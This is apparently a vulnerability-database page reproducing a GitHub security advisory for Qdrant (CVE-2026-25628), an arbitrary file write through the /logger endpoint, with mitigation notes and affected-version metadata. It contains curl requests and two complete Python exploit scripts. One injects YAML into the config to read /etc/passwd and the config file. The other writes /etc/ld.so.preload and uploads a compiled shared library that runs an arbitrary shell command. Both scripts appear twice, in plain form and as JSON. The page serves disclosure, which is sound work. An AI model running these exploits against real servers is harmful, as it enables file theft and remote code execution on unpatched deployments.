GHSA-F632-VM87-2M2F
Vulnerability from github – Published: 2026-02-05 21:22 – Updated: 2026-02-06 21:43Summary
It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5
Details
POST /logger
(Source code link)
endpoint accepts an attacker-controlled on_disk.log_file path.
There are no authorization checks (but authentication check is present).
This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.
After running the PoC, the content of config/local.yaml will be:
2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
static_content_dir: ..
2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391
Some junk log lines are present, but they don't matter as this is still valid yaml.
After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.
Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).
Relevant requests:
- Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \
-H "Content-Type: application/json" \
-d '{
"log_level":"INFO",
"on_disk":{
"enabled":true,
"format":"text",
"log_level":"INFO",
"buffer_size_bytes":1,
"log_file":"config/local.yaml"
}
}'
- Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
-H "Content-Type: application/json" \
-d '{}'
Full reproduction instructions
- Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
- Run the exploit:
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
- Restart the container:
sudo docker restart qdrant-poc
- Resume the exploit:
<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...
Mitigation
- Limit usage of
/loggerendpoint to users with management privileges only (or better disable it completely). - Restrict the path of the log file to a dedicated logs directory.
This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.
Exploit code
exploit_privesc.py
import requests
import sys
import argparse
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
args = parser.parse_args()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "config/local.yaml",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.patch(
f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
json={},
)
error = res.json()["status"]["error"]
if "doesn't exist!" in error:
print("[+] Log injection successful")
else:
print(f"[-] Error: {error}")
sys.exit(1)
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
input("Restart Qdrant cluster and press Enter to continue...")
res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
exploit_rce.py
import requests
import argparse
import tempfile
import os
TEST_COLLECTION_NAME = "COLTEST"
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")
args = parser.parse_args()
assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
unlink("/etc/ld.so.preload");
system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)
with tempfile.TemporaryDirectory() as tmpdir:
with open(f"{tmpdir}/cmd_code.c", "w") as f:
f.write(so_code)
os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "/etc/ld.so.preload",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.get(
f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)
print("[+] Log injected")
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})
print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`
input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()
Impact
Remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "qdrant"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.3"
},
{
"fixed": "1.15.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25628"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:22:50Z",
"nvd_published_at": "2026-02-06T21:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don\u0027t matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"log_level\":\"INFO\",\n \"on_disk\":{\n \"enabled\":true,\n \"format\":\"text\",\n \"log_level\":\"INFO\",\n \"buffer_size_bytes\":1,\n \"log_file\":\"config/local.yaml\"\n }\n }\u0027\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{}\u0027\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n\u003cpress Enter\u003e\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"config/local.yaml\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn\u0027t exist!\" in error:\n print(\"[+] Log injection successful\")\nelse:\n print(f\"[-] Error: {error}\")\n sys.exit(1)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"\u0027\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include \u003cstdlib.h\u003e\n#include \u003cunistd.h\u003e\n\n__attribute__((constructor))\nvoid init() {\n unlink(\"/etc/ld.so.preload\");\n system(\"/bin/bash -c \u0027XXXXXXXX\u0027\");\n}\n\"\"\".replace(\u0027XXXXXXXX\u0027, args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n f.write(so_code)\n os.system(f\u0027gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c\u0027)\n cmd_so = open(f\u0027{tmpdir}/cmd.so\u0027, \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"/etc/ld.so.preload\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
"id": "GHSA-f632-vm87-2m2f",
"modified": "2026-02-06T21:43:57Z",
"published": "2026-02-05T21:22:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
},
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/qdrant/qdrant"
},
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "qdrant has arbitrary file write via `/logger` endpoint"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.